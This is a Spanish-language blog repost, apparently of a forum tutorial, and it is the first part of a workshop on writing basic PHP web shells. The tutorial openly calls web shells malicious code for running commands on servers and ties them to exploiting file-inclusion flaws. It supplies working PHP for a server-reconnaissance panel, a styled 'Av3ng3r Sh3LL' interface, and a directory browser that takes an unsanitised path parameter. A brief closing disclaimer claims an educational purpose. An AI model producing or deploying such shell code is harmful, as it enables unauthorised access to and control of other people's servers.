A nuestra vuelta a internet , hoy os presentamos la primera parte de un
manual de The X-C3LL sobre como crear web shells basicas, el manual fue
creado para un foro, y para no alterar su contenido voy a citarlo
textualmente de el.
Sin mas dilación:
Taller
de construcción de WebShells básicas
Saludos!
Lo
prometido es deuda, y aquí estamos con este taller de introducción de
cómo construir nuestras propias WebShells "Básicas" (Sin ninguna función
especial), para no tener que depender tanto de las construidas por
otras personas, ya que algo fundamental en el under es construirte tus
propias herramientas y no pedírselas prestadas al vecino
.
Así que primero
daré explicación
sobre qué es una webshell, cómo se pueden usar, y despues ya nos metemos
en materia. Como quiero que esto sea lo más interactivo posible, iré
poco a poco y esperando a que la gente postee sus ejemplos de cada parte
que veamos, y al mismo tiempo ir resolviendo todas las dudas que
surjan. Para empezar iros haciendo con algún hosting gratuito que
permita correr scripts en PHP para ir trabajando.
Antes que
nada disculparme por mi tardanza, pero estuve desde primeros de mes en
Salamanca y en Valladolid, en el primer sitio para buscar residencia,
hacer la matrícula etc.
0x00 Definición
de WebShell
Yo por mi parte
definiría a una WebShell
como un script en PHP, PERL, ASP, etc. que permite a un usuario
malintencionado ejecutar comandos y funciones dentro de un servidor. En
nuestro caso vamos a ver cómo crear una en PHP.
El código más
simple puede ser ejecutar un único comando dentro del servidor. Para
ello nos valemos de la función "System". Así podemos hacer por ejemplo:
Así que en la
esencia más pura de la palabra, una WebShell es un código malicioso que
permite ejecutar comandos en la Shell del servidor, pero hoy en día las
webshells son scripts mucho más complejos que permiten desde listar el
contenido de un directorio hasta modificar los archivos que contiene,
uploadear exploits, dumpear DB's etc... Es imprescindible llegados a
este punto el conocer al dedillo las vulnerabilidades de Local y Remote
File Inclusion, así que buscar en el foro e informaros bien sobre
éstas, porque gracias a las webshells vamos a poder explotarlas
0x01 Datos Servidor
En mi humilde
opinión
creo que lo primero que debe de mostrar nuestra webshell es la
información del servidor. Un script sencillo parecido a este puede
servir:
<?php
$Server=$_SERVER[SERVER_SOFTWARE];
echo "Server: <font color=red>$Server</font>";
echo "<br>";
$OS=php_uname();
echo "More Information of Server: <font
color=red>$OS</font>";
echo "<br>";
$server_IP=$_SERVER[SERVER_ADDR];
echo "Server Address: <font color=red>$server_IP</font>";
echo "<br>";
$Lugar_shell=$_SERVER[SCRIPT_FILENAME];
echo "The Shell is in: <font color=red>$Lugar_shell</font>";
echo "<br>";
echo "Dir: <font color=red>";
echo getcwd();
echo "</font>";
?>
Claro que así es
muy "cutre", así que debemos de ir dándole estilo... Yo voy a usar el
mismo estilo que una de la shells que construí en su momento, así que en
mi caso, el resultado fue este:
<!-- Styles CSS --!>
<STYLE type="text/css">
A:link {
color: white;
text-decoration: none;
}
A:visited {
color: white;
text-decoration: none;
}
A:hover {
text-decoration: none;
cursor: crosshair;
color: red;
}
textarea {
font-family: courier new;
background-color: #282828;
font-size: 10pt;
border: 1px red solid;
color: red;
}
input {
background:#282828;
color:red;
font-family: Courier New;
border: 1px red solid;
}
</STYLE>
<!-- End of Styles || Starting the body --!>
<body style="cursor: crosshair; background: #000000; color:
white;">
<font color=white>
<center>
<h1><font face="Courier New"><font
color=red>[</font><b>!</b><font
color=red>]</font> Av3ng3r Sh3LL <font
color=red>[</font><b>!</b><font
color=red>]</font></h1><br><font size=2
color=orange>By Vengador de las
Sombras</font><br><br>
<div style="bottom: 50%%; width: 80%; left: 23%; right: 7%; top: 28%;
visibility: visible; z-index:10; font-family: Courier New;
background-color: #000000; border:1px red dashed; text-decoration: none;
text-aling: left;">
<b>
<center>
Informacion del Servidor:
</b>
</center><br><br>
<?php
$Server=$_SERVER[SERVER_SOFTWARE];
echo "Server: <font color=red>$Server</font>";
echo "<br>";
$OS=php_uname();
echo "More Information of Server: <font
color=red>$OS</font>";
echo "<br>";
$server_IP=$_SERVER[SERVER_ADDR];
echo "Server Address: <font color=red>$server_IP</font>";
echo "<br>";
$Lugar_shell=$_SERVER[SCRIPT_FILENAME];
echo "The Shell is in: <font color=red>$Lugar_shell</font>";
echo "<br>";
echo "Dir: <font color=red>";
echo getcwd();
echo "</font>";
?>
<br><br>
</div>
</center>
<!-- #End OF Server Info# --!>
0x03 Listando Directorios y Archivos
Algo fundamental a
la hora
de crear una WebShell es el ordenar los directorios de trabajo y los
archivos que hay en ellos, con el fin de facilitar la administración
dentro del servidor. Para ello nosotros nos vamos a valer de dos
Scripts. No voy a explicar detenidamente línea por línea lo que hace el
script puesto que ya dije que debíais de llevar una base mínima en PHP,
de todas formas si teneis cualquier duda posteadla. De todas formas
explicaré que hacen en líneas generales:
<?php
if($_GET['path']==""){
$jiji=dirname($Lugar_shell);
@$directorio=dir($jiji);
$ruta=$jiji;
}
else{
@$directorio=dir($_GET['path']);
$ruta=$_GET['path'];
}
?>
<?php
$path="$ruta";
$directorio=dir($path);
echo
"<br><br>";
while ($archivo = $directorio->read())
{
$extension=filetype($ruta.'/'.$archivo);
if
($extension=="dir"){
echo "<font color=red><b>(<a ";
echo
"href=?path=$ruta/$archivo>$archivo</a>)</b></font><br>";
}
else {
echo "<tr><td><a href=?edit=$ruta/$archivo>$archivo</a><br></td>";
}
$directorio->close();
echo "<br><br>";
?>
Con este lo que
hacemos es mostrar el contenido del directorio actual. Si en el
contenido (que se va listando mediante el WHILE) hay otro directorio, se
reseña de una manera especial y se le hace "?PATH", en cambio, si se
trata de un archivo, al clicar sobre él te llevará a ?edit (para
editar). Ésta es una función que veremos el próximo día.
Como siempre aclarar que f-labs cuenta con el consentimiento de el autor
para publicar el contenido y que este esta enfocado siempre al uso
didactico y responsable.La intención de este manual es poder crear
nuestras propias web shells para usarlas en local y probar nuestros
servidores ya sea fixeando vulnerabilidades o usando las shells de
gestor de archivos .
Proximamente, la segunda parte del manual.
p.d: Seguimos en mantenimiento se recomiendo guardar la entrada si es de
interes por posibles perdidas de datos.